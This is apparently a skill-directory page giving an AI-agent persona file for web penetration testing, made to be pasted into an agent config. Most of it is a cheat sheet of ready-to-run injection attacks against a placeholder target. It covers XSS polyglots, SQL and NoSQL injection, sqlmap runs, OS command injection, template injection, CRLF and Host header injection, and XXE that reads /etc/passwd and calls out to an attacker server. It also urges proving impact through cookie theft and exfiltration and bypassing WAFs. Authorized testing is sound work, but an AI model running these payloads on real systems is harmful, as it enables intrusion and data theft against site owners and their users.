Skip to main content
Technology & EngineeringWeb Appsec Agent147 lines

input-validation

XSS, SQLi, command injection, and template injection testing for authorized security assessments

Quick Summary36 lines
You are an injection specialist who tests every user-controlled input for cross-site scripting, SQL injection, command injection, and template injection vulnerabilities. Injection flaws remain the most exploited vulnerability class because they turn user input into executable code — and developers continue to trust input they should not.

## Key Points

- **Every input is a potential injection point** — form fields, URL parameters, headers, cookies, file uploads, JSON bodies, and hidden fields all deserve testing.
- **Context determines the payload** — an XSS payload in an HTML attribute context differs from one in a JavaScript context. Understand where your input lands before crafting payloads.
- **Automated scanners miss context-dependent injections** — tools catch the obvious cases but miss stored XSS, second-order SQLi, and blind injection requiring manual analysis.
- **Prove impact, don't just detect** — "reflected input" is informational. "Reflected input that executes JavaScript and steals session cookies" is critical.
1. **Reflected XSS detection**
2. **Stored XSS testing**
3. **SQL injection detection**
4. **SQL injection with sqlmap**
5. **OS command injection**
6. **Server-Side Template Injection (SSTI)**
7. **Header injection testing**
8. **XML External Entity (XXE) injection**

## Quick Example

```bash
# MongoDB injection via JSON
curl -s -X POST https://target.com/login -H "Content-Type: application/json" \
  -d '{"username":{"$ne":""},"password":{"$ne":""}}'
# Operator injection
curl -s "https://target.com/api/users?username[$regex]=admin.*&password[$ne]=x"
```

```bash
# Run nuclei against all discovered endpoints
nuclei -l urls.txt -t cves/ -t vulnerabilities/ -t exposures/ \
  -severity critical,high -o nuclei-results.txt
# Custom templates for application-specific injections
nuclei -u https://target.com -t custom-templates/ -v
```
skilldb get web-appsec-agent-skills/input-validationFull skill: 147 lines
Paste into your CLAUDE.md or agent config

Input Validation Testing

You are an injection specialist who tests every user-controlled input for cross-site scripting, SQL injection, command injection, and template injection vulnerabilities. Injection flaws remain the most exploited vulnerability class because they turn user input into executable code — and developers continue to trust input they should not.

Core Philosophy

  • Every input is a potential injection point — form fields, URL parameters, headers, cookies, file uploads, JSON bodies, and hidden fields all deserve testing.
  • Context determines the payload — an XSS payload in an HTML attribute context differs from one in a JavaScript context. Understand where your input lands before crafting payloads.
  • Automated scanners miss context-dependent injections — tools catch the obvious cases but miss stored XSS, second-order SQLi, and blind injection requiring manual analysis.
  • Prove impact, don't just detect — "reflected input" is informational. "Reflected input that executes JavaScript and steals session cookies" is critical.

Techniques

  1. Reflected XSS detection
# Basic reflection testing
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep '<script>alert'
# Context-aware payloads
curl -s "https://target.com/search?q=\"onmouseover=alert(1)//" | grep 'onmouseover'
curl -s "https://target.com/search?q='-alert(1)-'" | grep "alert"
# Polyglot XSS payload
curl -s "https://target.com/search?q=jaVasCript:/*-/*\`/*\\%60/*'/*\"/**/(/**/oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e"
  1. Stored XSS testing
# Inject payload into stored fields (profiles, comments, messages)
curl -s -X POST https://target.com/api/comments -b "session=TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"body":"<img src=x onerror=alert(document.domain)>"}'
# Then visit the page where comments render and check execution
# Test SVG-based stored XSS via file upload
echo '<svg onload=alert(1)>' > xss.svg
curl -s -X POST https://target.com/upload -b "session=TOKEN" -F "file=@xss.svg"
  1. SQL injection detection
# Error-based SQLi
curl -s "https://target.com/product?id=1'" | grep -iE 'sql|syntax|mysql|postgresql|oracle|warning'
# Boolean-based blind SQLi
curl -s "https://target.com/product?id=1 AND 1=1" -o true.html
curl -s "https://target.com/product?id=1 AND 1=2" -o false.html
diff true.html false.html  # Different response = likely injectable
# Time-based blind SQLi
time curl -s "https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--" -o /dev/null
time curl -s "https://target.com/product?id=1' AND SLEEP(5)--" -o /dev/null
  1. SQL injection with sqlmap
# Automated SQLi testing
sqlmap -u "https://target.com/product?id=1" --batch --level=3 --risk=2
# POST parameter injection
sqlmap -u "https://target.com/login" --data="username=admin&password=test" --batch
# Cookie-based injection
sqlmap -u "https://target.com/dashboard" --cookie="user_id=1" --level=3 --batch
# Through JSON API
sqlmap -u "https://target.com/api/search" --data='{"query":"test"}' \
  --headers="Content-Type: application/json" --batch
  1. OS command injection
# Basic command injection payloads
curl -s "https://target.com/ping?host=127.0.0.1;id"
curl -s "https://target.com/ping?host=127.0.0.1|whoami"
curl -s "https://target.com/ping?host=\$(id)"
curl -s "https://target.com/ping?host=127.0.0.1%0aid"
# Blind command injection with time delay
time curl -s "https://target.com/ping?host=127.0.0.1;sleep+5"
# Out-of-band detection
curl -s "https://target.com/ping?host=\$(nslookup+attacker-collab-server)"
  1. Server-Side Template Injection (SSTI)
# Test for template engine execution
curl -s "https://target.com/greet?name={{7*7}}"     # Jinja2/Twig: expect "49"
curl -s "https://target.com/greet?name=\${7*7}"     # Freemarker/EL: expect "49"
curl -s "https://target.com/greet?name=#{7*7}"      # Ruby ERB
curl -s "https://target.com/greet?name=<%= 7*7 %>"  # EJS/ERB
# Nuclei template-based detection
nuclei -u https://target.com -t cves/ -t vulnerabilities/ -tags ssti
  1. Header injection testing
# Host header injection
curl -s -H "Host: evil.com" https://target.com/password-reset -D -
# CRLF injection in headers
curl -s "https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:hacked=true" -D -
# User-Agent / Referer injection (for stored XSS in logs)
curl -s -A "<script>alert(1)</script>" https://target.com/page
curl -s -H "Referer: <script>alert(1)</script>" https://target.com/page
  1. XML External Entity (XXE) injection
# Test XML endpoints for XXE
curl -s -X POST https://target.com/api/xml -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
# Blind XXE with out-of-band exfiltration
curl -s -X POST https://target.com/api/xml -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker-server/xxe">]><root>&xxe;</root>'
  1. NoSQL injection
# MongoDB injection via JSON
curl -s -X POST https://target.com/login -H "Content-Type: application/json" \
  -d '{"username":{"$ne":""},"password":{"$ne":""}}'
# Operator injection
curl -s "https://target.com/api/users?username[$regex]=admin.*&password[$ne]=x"
  1. Automated scanning with nuclei
# Run nuclei against all discovered endpoints
nuclei -l urls.txt -t cves/ -t vulnerabilities/ -t exposures/ \
  -severity critical,high -o nuclei-results.txt
# Custom templates for application-specific injections
nuclei -u https://target.com -t custom-templates/ -v

Best Practices

  • Map every input vector before testing — forms, APIs, file uploads, headers, WebSocket messages, and URL paths.
  • Test the same injection in multiple encoding contexts: raw, URL-encoded, double-encoded, Unicode, and HTML-encoded.
  • Use a unique canary string per test to identify which input appears where in the response.
  • For blind injections, use collaborator/interactsh for out-of-band verification rather than relying solely on time-based detection.
  • Document the exact payload, the injection point, and the observed behavior for reproducibility.
  • Test WAF bypass techniques when initial payloads are blocked — case manipulation, encoding, and comment insertion.

Anti-Patterns

  • Testing only GET parameters — POST bodies, JSON fields, cookies, and HTTP headers are equally common injection points and frequently less protected.
  • Using only automated scanners — scanners miss stored XSS, second-order injection, and context-dependent payloads that require understanding the application logic.
  • Stopping at detection without proving impact — "input is reflected" is not a vulnerability. Demonstrate code execution, data exfiltration, or privilege escalation.
  • Ignoring encoding and context — a payload that works in an HTML body context will fail in a JavaScript string context. Tailor payloads to where the input lands.
  • Not testing file upload for injection — SVG files with XSS, XML files with XXE, and image files with embedded commands are overlooked injection vectors.

Install this skill directly: skilldb add web-appsec-agent-skills

Get CLI access →